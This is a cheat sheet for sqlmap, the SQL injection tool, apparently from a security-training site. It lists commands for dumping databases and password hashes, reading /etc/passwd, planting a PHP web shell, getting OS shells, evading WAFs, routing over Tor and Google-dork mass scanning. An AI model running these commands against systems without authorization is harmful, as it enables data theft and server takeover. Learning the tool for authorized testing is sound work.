sqlmap

Automated SQL injection detection + exploitation flags and examples

sqlmap Cheat Sheet

sqlmap automates detecting and exploiting SQL injection — fingerprinting the DBMS, enumerating schemas, dumping data, reading files, and getting a shell. For authorized testing only.

1. Basic usage

sqlmap -u "https://target/item.php?id=1"          # test a GET parameter
sqlmap -u "https://target/item.php?id=1" --batch  # non-interactive (accept defaults)
sqlmap -u "https://target/item.php?id=1" -v 3     # verbosity 0–6

2. Choosing the injection point / request

# POST data
sqlmap -u "https://target/login" --data="user=a&pass=b"

# Mark the exact spot to test with *
sqlmap -u "https://target/page/id/1*"

# Test a specific parameter only
sqlmap -u "https://target/x?id=1&cat=2" -p id

# Replay a saved Burp/ZAP request (headers, cookies, method all preserved)
sqlmap -r request.txt

# Cookie / header / auth
sqlmap -u "..." --cookie="PHPSESSID=abc; auth=1"
sqlmap -u "..." -H "X-Forwarded-For: 127.0.0.1"
sqlmap -u "..." --auth-type=basic --auth-cred="user:pass"

3. Common flags

Flag	Purpose
`--batch`	Never ask — use defaults
`-p PARAM`	Test only this parameter
`--level=1..5`	How thorough (more params/headers tested)
`--risk=1..3`	How aggressive (heavier payloads)
`--dbms=mysql`	Force the back-end DBMS
`--technique=BEUSTQ`	Pick techniques (see §7)
`--random-agent`	Random User-Agent
`--threads=10`	Concurrent requests (max 10)
`--proxy=http://127.0.0.1:8080`	Route through Burp
`--tor --tor-type=SOCKS5`	Route over Tor
`--flush-session`	Clear cached results, retest clean

4. Enumeration

sqlmap -u "..." --dbs                  # list databases
sqlmap -u "..." -D appdb --tables      # tables in a database
sqlmap -u "..." -D appdb -T users --columns
sqlmap -u "..." --current-db           # current database name
sqlmap -u "..." --current-user
sqlmap -u "..." --hostname
sqlmap -u "..." --is-dba               # are we DB admin?
sqlmap -u "..." --users --passwords    # DB user accounts + password hashes
sqlmap -u "..." --schema               # whole schema at once

5. Dumping data

sqlmap -u "..." -D appdb -T users -C username,password --dump
sqlmap -u "..." -D appdb -T users --dump          # whole table
sqlmap -u "..." -D appdb --dump                   # whole database
sqlmap -u "..." --dump-all                         # everything (noisy)

# Only certain rows
sqlmap -u "..." -D appdb -T users --dump --where="id>10"
sqlmap -u "..." -D appdb -T users --start=1 --stop=20

Hashes go to a file under ~/.local/share/sqlmap/output/<target>/; sqlmap can also offer to crack them with its built-in dictionary.

6. OS / file access (DBA needed)

sqlmap -u "..." --file-read="/etc/passwd"
sqlmap -u "..." --file-write=shell.php --file-dest="/var/www/html/shell.php"
sqlmap -u "..." --os-shell                  # interactive OS command shell
sqlmap -u "..." --os-cmd="whoami"
sqlmap -u "..." --sql-shell                 # interactive SQL prompt
sqlmap -u "..." --sql-query="SELECT @@version"

7. Techniques

--technique= takes any of these letters (default tries all):

Letter	Technique
`B`	Boolean-based blind
`E`	Error-based
`U`	UNION query
`S`	Stacked queries
`T`	Time-based blind
`Q`	Inline queries

sqlmap -u "..." --technique=BT       # only boolean + time-based blind
sqlmap -u "..." --time-sec=10        # delay for time-based detection

8. WAF / filter evasion

sqlmap -u "..." --tamper=space2comment
sqlmap -u "..." --tamper=between,randomcase,charencode
sqlmap -u "..." --random-agent --delay=1 --safe-url="https://target/" --safe-freq=5
sqlmap --list-tampers          # show all tamper scripts

Handy tamper scripts: space2comment, between, charencode, randomcase, equaltolike, apostrophemask, base64encode.

9. Crawl / bulk targets

sqlmap -u "https://target/" --crawl=2          # spider 2 levels deep, then test
sqlmap -m urls.txt --batch                      # test many URLs from a file
sqlmap -g "inurl:php?id="                        # Google-dork mode
sqlmap -u "..." --forms                          # auto-find and test forms

10. Tips

Start light: --batch --level=1 --risk=1, raise --level/--risk only if nothing's found.
Prefer -r request.txt from Burp — it carries cookies, auth, and the exact body so you don't fight session issues.
--flush-session after changing options, or sqlmap reuses old cached detection.
Always pass --proxy=http://127.0.0.1:8080 to watch the traffic in Burp while you learn.
Output (logs, dumps, session) lives in ~/.local/share/sqlmap/output/.

Authorized testing only. Practice on the AYSEC challenges. Related: SQL injection